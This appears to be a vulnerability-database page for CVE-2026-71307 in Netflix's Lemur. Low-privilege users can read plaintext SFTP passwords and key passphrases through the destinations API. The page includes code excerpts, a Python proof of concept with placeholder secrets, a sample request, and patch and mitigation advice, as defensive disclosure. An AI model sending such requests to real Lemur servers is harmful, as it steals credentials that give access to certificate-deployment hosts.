Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

CVE-2026-71307 — lemur

HIGHFix: Netflix/lemur@751c970

CVE-2026-71307 is a high-severity (CVSS 7.7) CWE-862 vulnerability in lemur. A fix is available for lemur — see the affected versions and patch details below.

Lemur: Authenticated low-privilege users can read plaintext destination credentials (SFTP password / private-key passphrase) via the destinations API

Also known asGHSA-6c8m-q6g9-vrw3PYSEC-2026-3674
Published
Aug 18, 2026
Updated
Sep 10, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 2, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-71307.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs22th percentile — riskier than 22% of all scored CVEsHighest risk
0.00%0.27%0.54%0.81%0.2%0.3%0.3%Sep 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-71307 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 381,682 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐍lemur

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Lemur's destination read endpoints -- GET /api/1/destinations and GET /api/1/destinations/<id> -- return the full set of stored plugin option values to any authenticated user, with no authorization check and no redaction of secret-bearing options. The sibling write endpoints (POST/PUT/DELETE) are gated with @admin_permission.require(http_exception=403), but the two read handlers are protected only by login_required (inherited from AuthenticatedResource). They do not even exclude read-only users.

The built-in SFTP destination plugin (sftp-destination) stores its password and privateKeyPass options in cleartext in the destinations.options column (the plugin's own docstring states "Passwords are not encrypted and stored as a plain text."). Because DestinationOutputSchema serializes every option value verbatim, any authenticated principal -- including a read-only user -- can retrieve these credentials and use them to authenticate to the remote SFTP server to which Lemur deploys certificates.

Details

Read endpoints lack the authorization that their write siblings enforce:

lemur/destinations/views.py

class DestinationsList(AuthenticatedResource):
    @validate_schema(None, destinations_output_schema)
    def get(self):                       # <-- only login_required; no admin/read-only gate
        ...
        return service.render(args)

    @validate_schema(destination_input_schema, destination_output_schema)
    @admin_permission.require(http_exception=403)   # write path IS gated
    def post(self, data=None): ...

class Destinations(AuthenticatedResource):
    @validate_schema(None, destination_output_schema)
    def get(self, destination_id):       # <-- only login_required; no admin/read-only gate
        return service.get(destination_id)

    @validate_schema(destination_input_schema, destination_output_schema)
    @admin_permission.require(http_exception=403)   # write path IS gated
    def put(self, destination_id, data=None): ...

    @admin_permission.require(http_exception=403)   # write path IS gated
    def delete(self, destination_id): ...

The output schema emits all option values, including secret ones:

lemur/destinations/schemas.py

class DestinationOutputSchema(LemurOutputSchema):
    ...
    options = fields.List(fields.Dict())          # raw option dicts, incl. {"name":"password","value":...}

    @post_dump
    def fill_object(self, data):
        if data:
            data["plugin"]["pluginOptions"] = data["options"]   # copied verbatim into plugin block too
            ...
        return data

options is the raw JSONType DB column (lemur/destinations/models.py), stored exactly as the plugin saved it. The SFTP plugin stores plaintext credentials:

lemur/plugins/lemur_sftp/plugin.py

"""
    Passwords are not encrypted and stored as a plain text.
"""
options = [
    ...
    {"name": "password",       "type": "str", "required": False, ...},   # plaintext
    {"name": "privateKeyPass", "type": "str", "required": False, ...},   # plaintext
    ...
]

There is no read-only enforcement on these GET handlers (no StrictRolePermission() call), so even users explicitly restricted to read-only access can read the secrets.

PoC

Reproduction of Lemur's exact serialization path (verbatim DestinationOutputSchema + PluginOutputSchema, marshmallow 2.21.0), fed a stored SFTP destination row with password auth:

from marshmallow import fields, post_dump, Schema

class PluginOutputSchema(Schema):                 # verbatim from lemur/schemas.py
    id = fields.Integer(); label = fields.String(); description = fields.String()
    active = fields.Boolean(); options = fields.List(fields.Dict(), dump_to="pluginOptions")
    slug = fields.String(); title = fields.String()

class DestinationOutputSchema(Schema):            # verbatim from lemur/destinations/schemas.py
    id = fields.Integer(); label = fields.String(); description = fields.String()
    active = fields.Boolean(); plugin = fields.Nested(PluginOutputSchema)
    options = fields.List(fields.Dict())
    @post_dump
    def fill_object(self, data):
        if data:
            data["plugin"]["pluginOptions"] = data["options"]
            for option in data["plugin"]["pluginOptions"]:
                if "export-plugin" in option["type"]:
                    option["value"]["pluginOptions"] = option["value"]["plugin_options"]
        return data

class Destination:                                # a stored SFTP destination row
    id = 4; label = "prod-nginx-sftp"; description = "Deploy certs via SFTP"; active = True
    options = [
        {"name": "host", "type": "str", "value": "10.0.5.20"},
        {"name": "user", "type": "str", "value": "deploy"},
        {"name": "password", "type": "str", "value": "S3cr3t-SFTP-Passw0rd!"},
        {"name": "privateKeyPass", "type": "str", "value": "rsa-key-passphrase-xyz"},
    ]
    plugin = {"slug": "sftp-destination", "title": "SFTP",
              "description": "Allow the uploading of certificates to SFTP",
              "options": [], "id": 1, "label": None, "active": None}

out = DestinationOutputSchema().dump(Destination()).data
import json; print(json.dumps(out))
assert "S3cr3t-SFTP-Passw0rd!" in json.dumps(out)
assert "rsa-key-passphrase-xyz" in json.dumps(out)

Output (truncated) -- the plaintext secrets appear in both options and plugin.pluginOptions:

{"options":[ ... {"name":"password","type":"str","value":"S3cr3t-SFTP-Passw0rd!"},
 {"name":"privateKeyPass","type":"str","value":"rsa-key-passphrase-xyz"} ...],
 "plugin":{"pluginOptions":[ ... {"name":"password","value":"S3cr3t-SFTP-Passw0rd!"} ...],
 "slug":"sftp-destination", ...}}

End-to-end, as a low-privilege (or read-only) user holding a normal Lemur JWT:

GET /api/1/destinations/4 HTTP/1.1
Host: lemur.example.com
Authorization: Bearer <low-priv-user-token>

HTTP/1.1 200 OK
{ "plugin": { "pluginOptions": [ ... {"name":"password","value":"S3cr3t-SFTP-Passw0rd!"} ... ] } }

Impact

Confidentiality breach of deployment credentials. Any authenticated Lemur user -- regardless of role, including users intentionally limited to read-only -- can enumerate all configured destinations and read their plaintext secrets. For SFTP destinations this yields the SSH password and/or the passphrase protecting the RSA key Lemur uses to push certificates. With these, an attacker authenticates directly to the remote certificate-deployment hosts, replacing or reading their TLS material -- a scope change beyond Lemur itself (S:C). The same read path exposes any other secret-bearing option a destination plugin stores in cleartext.

Suggested fix: gate the destination GET handlers with admin_permission (consistent with the write handlers), and/or redact option values whose type/name marks them as secret before serialization in DestinationOutputSchema.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIlemurall versions1.9.3pip install --upgrade 'lemur==1.9.3'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for lemur, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update lemur to 1.9.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-71307 is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Frequently Asked Questions

### Summary Lemur's destination read endpoints -- `GET /api/1/destinations` and `GET /api/1/destinations/<id>` -- return the full set of stored plugin option values to any authenticated user, with no authorization check and no redaction of secret-bearing options. The sibling write endpoints (`POST`/`PUT`/`DELETE`) are gated with `@admin_permission.require(http_exception=403)`, but the two read handlers are protected only by `login_required` (inherited from `AuthenticatedResource`). They do not even exclude `read-only` users. The built-in SFTP destination plugin (`sftp-destination`) stores its
O3 Security · Impact-Aware SCA

Is CVE-2026-71307 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2026-71307: lemur — Fixed in 1.9.3 | O3 Security